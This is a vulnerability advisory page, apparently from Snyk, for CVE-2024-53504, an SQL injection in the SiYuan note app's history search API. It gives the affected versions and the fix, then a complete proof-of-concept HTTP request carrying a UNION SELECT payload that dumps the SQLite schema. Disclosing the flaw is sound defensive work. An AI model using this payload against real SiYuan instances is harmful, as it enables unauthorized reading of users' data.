SQL Injection Affecting github.com/siyuan-note/siyuan/kernel/model package, versions <3.1.12-dev1


Severity

Recommended
0.0
medium
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.04% (12th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about SQL Injection vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-GOLANG-GITHUBCOMSIYUANNOTESIYUANKERNELMODEL-8445281
  • published1 Dec 2024
  • disclosed29 Nov 2024
  • creditTaiPhung217

Introduced: 29 Nov 2024

CVE-2024-53504  (opens in a new tab)
CWE-89  (opens in a new tab)

How to fix?

Upgrade github.com/siyuan-note/siyuan/kernel/model to version 3.1.12-dev1 or higher.

Overview

Affected versions of this package are vulnerable to SQL Injection via the the /searchHistory through the notebook parameter due to improper user input sanitization.

PoC

POST /api/history/searchHistory HTTP/1.1
Host: localhost:6806
Content-Length: 98
sec-ch-ua: "Not/A)Brand";v="8", "Chromium";v="126"
sec-ch-ua-platform: "Windows"
Accept-Language: en-US
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36
Content-Type: text/plain;charset=UTF-8
Accept: */*
Origin: http://localhost:6806
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:6806/stage/build/desktop/?r=vshr05s
Accept-Encoding: gzip, deflate, br
Cookie: siyuan=MTczMDg2MTkxNnxEWDhFQVFMX2dBQUJFQUVRQUFCeF80QUFBUVp6ZEhKcGJtY01CZ0FFWkdGMFlRWnpkSEpwYm1jTVZRQlRleUpYYjNKcmMzQmhZMlZ6SWpwN0lpOXphWGwxWVc0dmQyOXlhM053WVdObEx5STZleUpCWTJObGMzTkJkWFJvUTI5a1pTSTZJakV5TXpRaUxDSkRZWEIwWTJoaElqb2lZbWcxY21KMmVTSjlmWDA9fF5xFoKuR_nqED8t-xyAdLUhXwMIaj9E3nswwd1J_2-M; _ga=GA1.1.1190341866.1730861926; _ga_L7WEXVQCR9=GS1.1.1730861926.1.1.1730865096.0.0.0
Connection: keep-alive

{"notebook":"%' union SELECT sql FROM sqlite_schema -- -","query":"","page":1,"op":"all","type":0}

CVSS Scores

version 4.0
version 3.1